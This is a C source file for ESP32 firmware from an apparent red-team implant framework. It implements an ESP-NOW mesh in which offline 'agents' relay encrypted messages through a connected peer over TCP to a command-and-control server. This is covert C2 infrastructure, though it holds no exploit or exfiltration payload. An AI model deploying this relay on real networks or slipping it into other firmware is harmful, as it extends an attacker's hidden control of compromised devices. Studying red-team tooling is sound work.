/*
 * rt_mesh.c
 * ESP-NOW mesh relay between Espilon agents.
 *
 * Protocol:
 *   Agent A (no internet) → ESP-NOW broadcast "ESPNOW_PROBE"
 *   Agent B (connected)   → ESP-NOW unicast "ESPNOW_ACK:<device_id>"
 *   Agent A sends          → "RELAY:<device_id>:<base64_encrypted_msg>"
 *   Agent B receives       → forwards via TCP to C2
 *   Agent B receives resp  → "REPLY:<device_id>:<base64_encrypted_resp>"
 *
 * ESP-NOW works WITHOUT WiFi association — pure 802.11 P2P.
 */
#include "sdkconfig.h"
#include "rt_mesh.h"
#include <string.h>

#ifdef CONFIG_MODULE_REDTEAM
#ifdef CONFIG_RT_MESH
#include <stdio.h>

#include "esp_log.h"
#include "esp_now.h"
#include "esp_wifi.h"
#include "lwip/sockets.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/semphr.h"

#include "utils.h"

static const char *TAG = "RT_MESH";

#define ESPNOW_PMK         "espilon_mesh_pmk"   /* 16 bytes primary master key */
#define ESPNOW_CHANNEL     1
#define PROBE_MAGIC        "ESPNOW_PROBE"
#define ACK_MAGIC          "ESPNOW_ACK:"
#define RELAY_MAGIC        "RELAY:"
#define REPLY_MAGIC        "REPLY:"
#define PROBE_INTERVAL_MS  5000
#define MAX_PEERS          4

static volatile bool s_running = false;
static volatile bool s_initialized = false;
static TaskHandle_t  s_probe_task = NULL;

/* Best relay peer */
static rt_mesh_peer_t s_best_relay = {0};
static SemaphoreHandle_t s_relay_mutex = NULL;

/* ============================================================
 * ESP-NOW receive callback
 * ============================================================ */

static void espnow_recv_cb(const esp_now_recv_info_t *info,
                             const uint8_t *data, int len)
{
    if (!s_running || !data || len <= 0) return;

    /* ACK from a connected agent: "ESPNOW_ACK:<device_id>" */
    if (len > (int)strlen(ACK_MAGIC) &&
        memcmp(data, ACK_MAGIC, strlen(ACK_MAGIC)) == 0) {

        const char *dev_id = (const char *)data + strlen(ACK_MAGIC);
        int id_len = len - (int)strlen(ACK_MAGIC);
        if (id_len <= 0 || id_len > 15) id_len = (id_len <= 0) ? 0 : 15;
        if (id_len == 0) return;

        if (s_relay_mutex && xSemaphoreTake(s_relay_mutex, 0) == pdTRUE) {
            /* Use RSSI to pick the best relay */
            int8_t rssi = info->rx_ctrl->rssi;
            if (!s_best_relay.available || rssi > s_best_relay.rssi) {
                memcpy(s_best_relay.mac, info->src_addr, 6);
                memcpy(s_best_relay.device_id, dev_id, id_len);
                s_best_relay.device_id[id_len] = '\0';
                s_best_relay.rssi = rssi;
                s_best_relay.available = true;

                ESP_LOGI(TAG, "Relay found: %s (RSSI=%d)", s_best_relay.device_id, rssi);
            }
            xSemaphoreGive(s_relay_mutex);
        }
        return;
    }

    /* PROBE from another agent looking for a relay */
    if (len == (int)strlen(PROBE_MAGIC) &&
        memcmp(data, PROBE_MAGIC, strlen(PROBE_MAGIC)) == 0) {

        /* We answer only if we have internet (sock >= 0) */
        extern int sock;
        if (sock >= 0) {
            /* Send ACK with our device_id */
            char ack[64];
            int ack_len = snprintf(ack, sizeof(ack), "%s%s", ACK_MAGIC, CONFIG_DEVICE_ID);

            /* Add peer if not already added */
            esp_now_peer_info_t peer = {0};
            memcpy(peer.peer_addr, info->src_addr, 6);
            peer.channel = 0;  /* current channel */
            peer.encrypt = false;
            esp_now_add_peer(&peer);  /* ignore error if already exists */

            esp_now_send(info->src_addr, (uint8_t *)ack, ack_len);
            ESP_LOGI(TAG, "Answered PROBE from %02X:%02X:%02X:%02X:%02X:%02X",
                     info->src_addr[0], info->src_addr[1], info->src_addr[2],
                     info->src_addr[3], info->src_addr[4], info->src_addr[5]);
        }
        return;
    }

    /* RELAY request from another agent: forward to C2 via TCP */
    if (len > (int)strlen(RELAY_MAGIC) &&
        memcmp(data, RELAY_MAGIC, strlen(RELAY_MAGIC)) == 0) {

        extern int sock;
        extern SemaphoreHandle_t sock_mutex;
        if (sock >= 0 && sock_mutex) {
            const uint8_t *payload = data + strlen(RELAY_MAGIC);
            int payload_len = len - strlen(RELAY_MAGIC);

            xSemaphoreTake(sock_mutex, portMAX_DELAY);
            int s = sock;
            xSemaphoreGive(sock_mutex);

            if (s >= 0) {
                /* Forward as-is — the payload is already encrypted E2E */
                lwip_write(s, payload, payload_len);
                lwip_write(s, "\n", 1);
                ESP_LOGI(TAG, "Relayed %d bytes to C2", payload_len);
            }
        }
        return;
    }
}

/* ============================================================
 * ESP-NOW send callback
 * ============================================================ */

static void espnow_send_cb(const uint8_t *mac, esp_now_send_status_t status)
{
    /* Minimal — just log failures */
    if (status != ESP_NOW_SEND_SUCCESS) {
        ESP_LOGW(TAG, "ESP-NOW send failed to %02X:%02X:%02X:%02X:%02X:%02X",
                 mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
    }
}

/* ============================================================
 * Probe task — periodically broadcast to find relays
 * ============================================================ */

static void probe_task(void *arg)
{
    (void)arg;

    /* Broadcast peer */
    esp_now_peer_info_t bcast = {0};
    memset(bcast.peer_addr, 0xFF, 6);
    bcast.channel = 0;
    bcast.encrypt = false;
    esp_now_add_peer(&bcast);

    while (s_running) {
        /* Broadcast probe */
        esp_now_send(bcast.peer_addr,
                     (uint8_t *)PROBE_MAGIC,
                     strlen(PROBE_MAGIC));

        vTaskDelay(pdMS_TO_TICKS(PROBE_INTERVAL_MS));
    }

    s_probe_task = NULL;
    vTaskDelete(NULL);
}

/* ============================================================
 * Public API
 * ============================================================ */

bool rt_mesh_start(void)
{
    if (s_running) return true;

    if (!s_relay_mutex) {
        s_relay_mutex = xSemaphoreCreateMutex();
    }

    if (!s_initialized) {
        esp_err_t ret = esp_now_init();
        if (ret != ESP_OK) {
            ESP_LOGE(TAG, "esp_now_init failed: %s", esp_err_to_name(ret));
            return false;
        }

        esp_now_register_recv_cb(espnow_recv_cb);
        esp_now_register_send_cb(espnow_send_cb);
        s_initialized = true;
    }

    s_running = true;
    memset(&s_best_relay, 0, sizeof(s_best_relay));

    xTaskCreatePinnedToCore(probe_task, "rt_mesh", 3072, NULL, 4, &s_probe_task, 0);

    ESP_LOGI(TAG, "ESP-NOW mesh relay started");
    return true;
}

void rt_mesh_stop(void)
{
    s_running = false;

    /* Wait for probe task to stop */
    for (int i = 0; i < 30 && s_probe_task != NULL; i++) {
        vTaskDelay(pdMS_TO_TICKS(100));
    }

    if (s_initialized) {
        esp_now_deinit();
        s_initialized = false;
    }

    memset(&s_best_relay, 0, sizeof(s_best_relay));
    ESP_LOGI(TAG, "ESP-NOW mesh relay stopped");
}

bool rt_mesh_is_running(void)
{
    return s_running;
}

bool rt_mesh_send(const uint8_t *data, size_t len)
{
    if (!s_running || !s_best_relay.available) return false;
    if (len > 240) {  /* ESP-NOW max payload = 250, minus RELAY: prefix */
        ESP_LOGW(TAG, "Payload too large for ESP-NOW (%d bytes)", (int)len);
        return false;
    }

    /* Build "RELAY:<payload>" */
    uint8_t buf[250];
    int prefix_len = strlen(RELAY_MAGIC);
    memcpy(buf, RELAY_MAGIC, prefix_len);
    memcpy(buf + prefix_len, data, len);

    esp_err_t ret = esp_now_send(s_best_relay.mac, buf, prefix_len + len);
    return (ret == ESP_OK);
}

void rt_mesh_probe(void)
{
    if (!s_running) return;

    /* Reset best relay */
    if (s_relay_mutex && xSemaphoreTake(s_relay_mutex, portMAX_DELAY) == pdTRUE) {
        memset(&s_best_relay, 0, sizeof(s_best_relay));
        xSemaphoreGive(s_relay_mutex);
    }

    /* Broadcast probe immediately */
    uint8_t bcast[6];
    memset(bcast, 0xFF, 6);
    esp_now_send(bcast, (uint8_t *)PROBE_MAGIC, strlen(PROBE_MAGIC));
}

bool rt_mesh_get_relay(rt_mesh_peer_t *out)
{
    if (!out) return false;
    if (!s_relay_mutex) {
        memset(out, 0, sizeof(*out));
        return false;
    }

    xSemaphoreTake(s_relay_mutex, portMAX_DELAY);
    memcpy(out, &s_best_relay, sizeof(rt_mesh_peer_t));
    xSemaphoreGive(s_relay_mutex);

    return out->available;
}

#else /* !CONFIG_RT_MESH */

bool rt_mesh_start(void) { return false; }
void rt_mesh_stop(void) { }
bool rt_mesh_is_running(void) { return false; }
bool rt_mesh_send(const uint8_t *data, size_t len) { (void)data; (void)len; return false; }
void rt_mesh_probe(void) { }
bool rt_mesh_get_relay(rt_mesh_peer_t *out) {
    if (out) { memset(out, 0, sizeof(*out)); out->available = false; }
    return false;
}

#endif /* CONFIG_RT_MESH */
#endif /* CONFIG_MODULE_REDTEAM */